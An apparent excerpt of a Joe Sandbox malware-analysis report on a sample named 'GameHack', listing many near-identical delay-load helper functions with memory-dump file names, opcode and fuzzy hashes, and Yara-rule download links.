Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7971176ce10af75c5f28294827e992fda19072f9ec7dc2dcb4cafdc11f72161a
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 7971176ce10af75c5f28294827e992fda19072f9ec7dc2dcb4cafdc11f72161a
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c35fa3753dbb0c291041631e32d58d0fd5decb90e0525fa9cf00400cc7621a26
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: c35fa3753dbb0c291041631e32d58d0fd5decb90e0525fa9cf00400cc7621a26
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2c65a7b420a0a29a65f412612d27749044005e438e8e6cb5b9be3d0f196a5203
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 2c65a7b420a0a29a65f412612d27749044005e438e8e6cb5b9be3d0f196a5203
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 779e98fc97900f126cbc9887b727e032c0495331738edf19136fd21c2de648be
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 779e98fc97900f126cbc9887b727e032c0495331738edf19136fd21c2de648be
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8c6a2931a462748382ba6fc476376932586e0f41f24edf878ea1b91d79f37d67
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 8c6a2931a462748382ba6fc476376932586e0f41f24edf878ea1b91d79f37d67
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d09e1ab7327670adf268f20be0ccee5e26eff1bc90408b43a18b6e8f33e59e7e
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: d09e1ab7327670adf268f20be0ccee5e26eff1bc90408b43a18b6e8f33e59e7e
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4b3095be0e9589002abaa4d9c8cf0a463046617677c38df8a41a6ee2e29bf2fb
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 4b3095be0e9589002abaa4d9c8cf0a463046617677c38df8a41a6ee2e29bf2fb
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 01858a4ae65d138a3b3ea6774eee0588d3ae0f90098a71e0975bcf466200cd91
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 01858a4ae65d138a3b3ea6774eee0588d3ae0f90098a71e0975bcf466200cd91
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b773223d614b7f3b2cff9fd002424ab00c2a5925a6bc3340c039b0c461fb9838
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: b773223d614b7f3b2cff9fd002424ab00c2a5925a6bc3340c039b0c461fb9838
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4b835f12f557381d4b7550344de4363bfc0a1b6ccfab983308eb9d3e28870e03
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 4b835f12f557381d4b7550344de4363bfc0a1b6ccfab983308eb9d3e28870e03
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EED91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EED8A3

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 26dc10dbdb328637c489b25b82b812e0460d0eabda3530d4baae3a8874784775
Instruction ID: b2795629e7d6277751d8ec9a5d301c3efd49fd7da6020beb0b2fd20e7fdb6806
Opcode Fuzzy Hash: 26dc10dbdb328637c489b25b82b812e0460d0eabda3530d4baae3a8874784775
Instruction Fuzzy Hash: B0A0129126D4477C300C61026C16C36020CC4C0B103305409B00AB00C094405C056431

Function 00EEDAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4a1c9cce2797602b2b0769dafe7e54b2515d61e8ed09970b896499ccdf125e25
Instruction ID: 920f96df3f8919d01b69327d543cc58fa0bcbcc744f17f670e3b5c7b33cc7b5d
Opcode Fuzzy Hash: 4a1c9cce2797602b2b0769dafe7e54b2515d61e8ed09970b896499ccdf125e25
Instruction Fuzzy Hash: 8DA0129126D0467C300871036C02C7A024CC0C0B10330551AF00AA008454404C046431

Function 00EEDAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7e23e80382c7a87e0e307219d2c019b958344f61cdb48325a152e56064365a6a
Instruction ID: 920f96df3f8919d01b69327d543cc58fa0bcbcc744f17f670e3b5c7b33cc7b5d
Opcode Fuzzy Hash: 7e23e80382c7a87e0e307219d2c019b958344f61cdb48325a152e56064365a6a
Instruction Fuzzy Hash: 8DA0129126D0467C300871036C02C7A024CC0C0B10330551AF00AA008454404C046431

Function 00EEDAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 09666f0ebef55652f2402372d231796b89be93a857859cba9b691f192b516840
Instruction ID: 920f96df3f8919d01b69327d543cc58fa0bcbcc744f17f670e3b5c7b33cc7b5d
Opcode Fuzzy Hash: 09666f0ebef55652f2402372d231796b89be93a857859cba9b691f192b516840
Instruction Fuzzy Hash: 8DA0129126D0467C300871036C02C7A024CC0C0B10330551AF00AA008454404C046431

Function 00EEDACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9dae8a88c0346cc74dc483887d4a872895a55dc3bc778d1e281e4d7994d931d6
Instruction ID: 920f96df3f8919d01b69327d543cc58fa0bcbcc744f17f670e3b5c7b33cc7b5d
Opcode Fuzzy Hash: 9dae8a88c0346cc74dc483887d4a872895a55dc3bc778d1e281e4d7994d931d6
Instruction Fuzzy Hash: 8DA0129126D0467C300871036C02C7A024CC0C0B10330551AF00AA008454404C046431

Function 00EEDAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b9ab61cb7f7ce2ae1667b9e20aa4d5bc6f8d165b9e3799049c2f74dac0e7f046
Instruction ID: 920f96df3f8919d01b69327d543cc58fa0bcbcc744f17f670e3b5c7b33cc7b5d
Opcode Fuzzy Hash: b9ab61cb7f7ce2ae1667b9e20aa4d5bc6f8d165b9e3799049c2f74dac0e7f046
Instruction Fuzzy Hash: 8DA0129126D0467C300871036C02C7A024CC0C0B10330551AF00AA008454404C046431

Function 00EEDAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDAB2

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

